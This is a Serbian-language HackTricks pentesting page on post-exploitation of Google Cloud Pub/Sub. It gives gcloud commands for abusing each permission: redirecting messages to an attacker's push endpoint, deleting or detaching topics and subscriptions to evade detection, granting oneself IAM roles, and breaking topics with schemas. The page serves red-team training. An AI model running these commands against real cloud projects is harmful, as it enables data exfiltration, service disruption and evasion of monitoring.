GCP - Pub/Sub Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pub/Sub

Za više informacija o Pub/Sub proverite sledeću stranicu:

GCP - Pub/Sub Enum

pubsub.topics.publish

Objavljivanje poruke u topic, korisno za slanje neočekivanih podataka i pokretanje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:

Objavi poruku u topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Koristan za sprečavanje da subscription prima poruke — može se koristiti za izbegavanje detekcije.

Detach subscription from topic ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Korisno za sprečavanje da subscription prima poruke, možda kako bi se izbegla detekcija.
Moguće je izbrisati topic čak i kada su subscriptions prikačene na njega.

Obriši topic ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Iskoristite ovu dozvolu da izmenite neka podešavanja teme i ometate je, kao što su --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key

pubsub.topics.setIamPolicy

Dodelite sebi dozvolu da izvršite bilo koju od prethodnih attacks.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Preuzmite sve poruke na web serveru:

Kreirajte push subscription da biste primali poruke ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Kreirajte subscription i koristite ga za pull messages:

Kreirajte pull subscription i preuzmite poruke ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Brisanje subscription-a** može biti korisno za ometanje sistema za obradu logova ili nešto slično:

<details>

<summary>Brisanje subscription-a</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Koristite ovu dozvolu da ažurirate neko podešavanje tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query table, Bucket) ili samo da ga ometate.

Endpoint za ažuriranje subscription-a ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Dodeli sebi dozvole potrebne za izvođenje bilo koje od prethodno pomenutih napada.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Napadni šemu na topic tako da poruke ne zadovolje šemu i zato topic bude onemogućen.
Ako nema šema, možda će biti potrebno da kreiraš jednu.

Kreiraj fajl sa šemom i prikači ga na topic ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Može izgledati da brisanjem šeme možete slati poruke koje ne odgovaraju šemi. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u topic. Dakle, ovo je BESMISLENO:

Obriši šemu (nije korisno) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Dodelite sebi dozvole potrebne za izvođenje bilo kojeg od prethodno pomenutih napada.

pubsub.snapshots.create, pubsub.snapshots.seek

Ovo će kreirati snapshot svih unACKed poruka i vratiti ih u subscription. Nije naročito korisno za napadača, ali evo:

Kreiraj snapshot i seek-uj na njega ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks